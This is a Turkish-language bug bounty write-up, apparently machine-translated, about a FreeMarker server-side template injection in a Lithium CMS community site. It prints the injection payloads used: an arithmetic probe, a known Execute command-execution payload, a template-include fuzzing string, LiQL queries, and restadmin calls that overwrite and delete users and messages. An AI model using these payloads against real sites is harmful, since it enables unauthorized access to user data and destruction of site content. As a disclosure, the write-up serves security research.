karşılaştık (w/ @celalerdik) bir böcek kalabalığının programında ilginç bir ssti güvenlik açığı. ‘${7*7}’ komutunu denediğimizde geleneksel 49′ sayısını gösterebiliriz, ayrıca aşağıdaki gibi `atama’ direktif referansını çalıştırabiliriz.
<#assign attribute1="ssti">
<#assign attribute2="test">
${attribute1}${attribute2}
//prints sstitest
açıkça freemarker şablon motoruna benziyordu. ancak ‘freemarker.template.utility’ paketini hiçbir zaman kullanamadık. dolayısıyla bilinen freemarker ssti komutları bu durumda çalışmıyordu. (örneğin, ‘${“freemarker.template.utility.Execute”?new()(“id”)}’ )
çok sınırlı bir ssti gibi görünüyordu ama freemarker şablon motorunun diğer fonksiyonlarını araştırmaya başladık. şablon içerme işlevini çalıştırmayı denedik ve işe yaradı. daha sonra şu komutu kullanarak sunucudaki .ftl dosyalarını bulanıklaştırdık: ‘<#include “*/FUZZ.ftl”>‘
daha sonra burp’un davetsiz misafirinde search.ftl belirdi. aşağıdaki freemarker şablonu motor kodlarını içeriyordu:
<#assign pageSize = http.request.parameters.name.page_size?number />
<#assign term = encode.url(http.request.parameters.name.term) />
<#assign blurbLength = http.request.parameters.name.blurb_length?number />
<#assign resultMessages = rest("/search/messages?restapi.response_style=view&q=" + term).messages.message />
<#assign totalResults = resultMessages?size />
…
bu dinlenme işlevi önemli görünüyordu ve biraz daha odaklanmayı gerektiriyordu. bununla yerel dosyalara erişmeye çalışırken yığın izleme hatasıyla karşılaştık.
freemarker’da dinlenme fonksiyonu hakkında bir şeyler bulduktan sonra lityum cms ile karşılaştık. lityum cms freemarker şablonunu destekliyor ancak çok sınırlı. bakış açımızı rce bulgusundan lityum cms’nin freemaker yeteneğine değiştirdik. 🙂
Aşağıdaki satırları kullanarak sunucuda liql(lithium query language) sorgusunu çalıştırabilir ve web sitesindeki son 5 mesajı getirebiliriz:
<#assign x= rest("2.0","/search?q=" + "SELECT subject FROM messages ORDER BY post_time DESC LIMIT 5"?url) />
<#list x.data.items as message >${message.subject}
#list>
#ref: https://devdocportal.lithium.com/t5/Community-API-v2-Reference/bd-p/restv2docs
Bu yöntemi kullanarak kullanıcıların verilerini de aldık ama aslında her şey normal görünüyordu ve herkes zaten web sitesindeki mesajlara veya kullanıcılara erişebiliyordu. bu noktada biraz sıkıldık ama restadmin fonksiyonu bizi kurtardı.
rest kullanarak kullanıcıların e-posta verilerini alamadık ancak restadmin bunları getirebilir.
Etkisini artırmak için araştırmaya devam ettik ve aşağıdaki komutları denedik:
<#assign messagePostBody = {
"type": "message",
"id": "1000",
"subject": "hacked-message"
} />
<#assign resp = restadmin("2.0", "/messages/1000", "PUT", messagePostBody) />
- -
<#assign resp = restadmin("2.0", "/messages/1000", "DELETE") />
- -
<#assign messagePostBody = {
"type": "user",
"id": "1000",
"login": "hacked-user"
} />
<#assign resp = restadmin("2.0", "/users/1000", "PUT", messagePostBody) />
- -
<#assign resp = restadmin("2.0", "/users/1000", "DELETE") />
liql yalnızca seçme sorgularını desteklemektedir ancak bu yöntemle API koyma, gönderme ve silme istekleri gönderilebilir. böylece web sitesindeki kullanıcıları, mesajları ve tüm koleksiyonları silebilir ve değiştirebiliriz.
bir süre sonra p1 olarak kabul edilip ödüllendirilir.
güvende kalın!